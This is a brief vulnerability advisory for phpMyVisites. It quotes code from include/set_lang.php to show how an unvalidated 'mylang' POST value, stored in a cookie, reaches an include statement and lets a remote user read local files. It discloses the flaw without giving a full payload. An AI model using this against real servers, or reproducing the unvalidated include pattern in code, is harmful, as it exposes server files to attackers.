Description:
 Remote user can retrieve local file on the webserver 
phpMyVisites is running on. It's cause due to bad user data 
validation code. 

FILE: include/set_lang.php

line 94: 
 include "./langs/".$lang['default_lang'];

assuming, we have set $lang['default_lang'] on line 66:
 $lang['default_lang'] = $_COOKIE[$nomcookielg];

it's good, look onto 
line 40:
 setcookie($nomcookielg,$_POST['mylang'],time()+3600*24*365*10);

Now, we are able to spoof the value of $_POST['mylang'] to any file, 
we want to be retrieved.
